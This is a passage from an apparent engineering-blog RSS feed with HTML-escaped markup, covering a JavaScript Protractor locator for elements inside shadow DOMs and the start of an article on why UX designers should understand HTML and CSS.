punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;using&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selector &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// if the selector is empty push the current element in the matches&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;using&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// get the node list of elements matching the selector, push it in the matches&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;matches&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; using&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelectorAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selector&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We added this as a custom matcher through the &lt;code class=&quot;language-text&quot;&gt;addLocator()&lt;/code&gt; method provided by Protractor to add custom locators. Making this an exportable module allowed us to import this in the protractor configuration file and then reference the selector in any spec file.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/** * Adds shadow root locator; enables selection of elements inside shadow DOMs on a page */&lt;/span&gt; exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;addShadowRootLocator&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addLocator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;css_sr&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;cssSelector&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; optParentElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// split the selector path into degenerate shadow root levels&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; selectors &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cssSelector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;::sr&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// handling the case where no CSS selector is provided&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selectors&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// attach a shadow DOM tree to the specified element&apos;s immediate parent&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; shadowDomInUse &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;head&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attachShadow&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// determines whether the given element is a shadow root&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;getShadowRoot&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;el&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;el &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; shadowDomInUse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shadowRoot &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// finds all elements matching the given selector, pushes them in an array&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;findAllMatches&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;selector&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; targets&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; firstTry&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; using&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; matches &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; targets&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// traverse root level elements in targets, otherwise if not the first pass&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// traverse the nested shadow DOMs in the targets recursively&lt;/span&gt; using &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;firstTry&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; targets&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getShadowRoot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targets&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;using&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selector &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// if the selector is empty push the current element in the matches&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;using&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// get the node list of elements matching the selector, push it in the matches&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;matches&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; using&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelectorAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selector&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// invoke for the first pass on immediate children of the immediate parent node&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; matches &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;findAllMatches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selectors&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;optParentElement &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// invoke for the rest of the child nodes if the selector path is not empty and immediate child nodes&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// of the parent node present in matches&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selectors&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; matches &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;findAllMatches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selectors&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return array of matches&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; matches&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Thus now whenever we need to provide a path for some element that resides in the “shadows”, we do it like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; playerSidebar &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css_sr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;::sr .player-sidebar&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;takeaways&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#takeaways&quot; aria-label=&quot;takeaways permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Takeaways&lt;/h3&gt; &lt;p&gt;Making custom solutions for solving limitations or flaws in an existing piece of code is the essence of open-source software development. As Protractor nears its end of support in late 2022, this framework could still be kept alive with such implementations, building on top of the flexibility and reliability that it provides.&lt;/p&gt;</content:encoded><author>Punit Goswami</author></item><item><title><![CDATA[Designers should understand code]]></title><description><![CDATA[The term designer is used across many domains. In the context of this article, it refers to a UX (User Experience) designer. One question…]]></description><link>https://engineering.wingify.com//posts/designers-should-understand-code/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/designers-should-understand-code/</guid><pubDate>Wed, 21 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;The term designer is used across many domains. In the context of this article, it refers to a UX (User Experience) designer.&lt;/em&gt;&lt;/p&gt; &lt;p&gt;One question that’s being asked over and over again - &lt;em&gt;Should designers code or not&lt;/em&gt;?&lt;/p&gt; &lt;img src=&quot;/images/2021/07/Image4.png&quot;/&gt; &lt;p&gt;Google search the question, and you&apos;ll come across many different theories posted by influencers, practitioners, and gurus about this long-falling topic of debate. Some suggest designers must not just sit in front of their laptops and come up with fancy prototypes but know how to code them into existence. Professionals wearing multiple hats are always welcomed by companies. Meanwhile, many others may argue that design and development are two different niches and must be kept separate. A designer shouldn&apos;t worry much about the technical implications as it can limit their creativity, resulting in less than good solutions.&lt;/p&gt; &lt;p&gt;These arguments have no means to an end as both design and development are two highly specialized professions, and each takes several years and hours of practice to master the very professions. The sweet spot, or shared understanding, probably lies somewhere in the middle. Knowing a little bit of coding doesn&apos;t mean the designer earns the title of &apos;expert coder,&apos; but makes them understand a developer&apos;s perspective, just like an actor having basic knowledge of cinematography or direction improves their art of acting.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/07/Image5.png&quot;/&gt; &lt;/div&gt; &lt;p&gt;The better question to ask is - &lt;strong&gt;&lt;em&gt;Should designers understand code?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;We think they definitely should. Having an understanding of the technology helps designers to identify and implement solutions without going back and forth with the developers to check what is possible. Let’s take a hypothetical example where a designer proposes a solution for better navigation in the app. The developers say that the current architecture of the app does not support this solution. Would it be worth re-building the entire application for the sake of the new navigation? Or should the designer come up with an alternative solution? The developer may suggest an alternate technically feasible solution which the designer may not agree with. This results in a loss of time in arguments, proposals, and iterations. If the designer had an understanding of coding, he would be in a better position to suggest a better solution.&lt;/p&gt; &lt;p&gt;Designers who understand the technological underpinnings (that help deliver impeccable designs) make them more impressive and valuable and boost their career prospects as well.&lt;/p&gt; &lt;p&gt;So, where to begin?&lt;/p&gt; &lt;h3 id=&quot;start-with-the-basics---learn-htmlcss&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#start-with-the-basics---learn-htmlcss&quot; aria-label=&quot;start with the basics learn htmlcss permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Start with the Basics - Learn HTML/CSS&lt;/h3&gt; &lt;p&gt;HTML (HyperText Markup Language) is a standard markup language used by web browsers to determine the placement of various elements such as images, texts, etc. On the other hand, CSS (Cascading Style Sheets) determines how to style HTML elements to beautify the page and make it more user-friendly. The two complement each other and are comparatively easier to understand, and do not involve any programming logic. Metaphorically speaking, if HTML is the skeleton of a web page, CSS would describe its shape, height, skin type, hair color, eye color, and the like.&lt;/p&gt; &lt;p&gt;According to a &lt;a href=&quot;https://www.statista.com/statistics/793628/worldwide-developer-survey-most-used-languages/&quot;&gt;report published by Statista&lt;/a&gt; in 2019, around 64% of developers worldwide code in HTML/CSS as it&apos;s one of the easiest languages to learn and code in.&lt;/p&gt; &lt;p&gt;Another reason is that nearly all web pages and web apps are primarily HTML documents. This means that no matter which coding language you use, everything eventually converts back to HTML/CSS. So it makes sense for designers to get familiar with the easiest and most widely used language.&lt;/p&gt; &lt;h3 id=&quot;how-htmlcss-helps-ux-designers&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-htmlcss-helps-ux-designers&quot; aria-label=&quot;how htmlcss helps ux designers permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How HTML/CSS helps UX Designers&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Understanding the Medium&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Let&apos;s consider the example of an architect. An architect&apos;s job is to create blueprints of buildings and structures and ensure they&apos;re beautiful, artistic, and aesthetically pleasing. But designing involves more than just sketching out a plan on a piece of paper. It includes ensuring the feasibility of the laid plan, paying attention to details such as construction materials, functionality, structural safety, price economics, and specific needs of the buyers.&lt;/p&gt; &lt;p&gt;Similarly, the job of a designer is to create functional designs that are platform- and user-friendly. And, while there are many tools such as InVision Studio, Figma, Sketch, etc. to simplify and streamline a designer&apos;s work, they&apos;re useless if the prototypes designed using these high-end tools fail to give the look and feel as intended.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/07/Image1.png&quot;&gt; &lt;/div&gt; &lt;p&gt;On the other hand, understanding the medium, i.e., understanding how to code works, can help designers use these tools to their advantage. Knowing the basic code will not only give designers a new perspective to design but also understand what will happen to the layout further, provide solutions that are easy to implement, make the designs pixel-perfect, optimize them for various platforms, and circumvent all the back-and-forth.&lt;/p&gt; &lt;p&gt;How to map the responsiveness of the design if the screen size changes? What if the images are taking too much time to load? How to optimize the design to maintain shorter code sheets? These are some questions designers, with some understanding of coding, will be able to answer themselves.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Better Team Communication &amp;#x26; Collaboration&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Communication and collaboration is fundamental to a UX designer&apos;s job. From product managers to stakeholders, customers, and developers, they need to collaborate with one-and-all and create meaningful designs as per project needs. And we know that good communication leads to better collaboration.&lt;/p&gt; &lt;p&gt;Designers and developers are responsible for the same things - creating and delivering amazing products that match end-user demands. The more the two departments are in-sync, the better products they can create together. If designers have the necessary coding knowledge, it will help them to understand the technical constraints and problems and to make sure that the designs take them into consideration. They will also be able to reduce a developer&apos;s workload significantly, this will not only make designers a great asset to the developers but also strengthen their bond and mutual trust.&lt;/p&gt; &lt;h3 id=&quot;deliver-design-handoffs-easily&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#deliver-design-handoffs-easily&quot; aria-label=&quot;deliver design handoffs easily permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 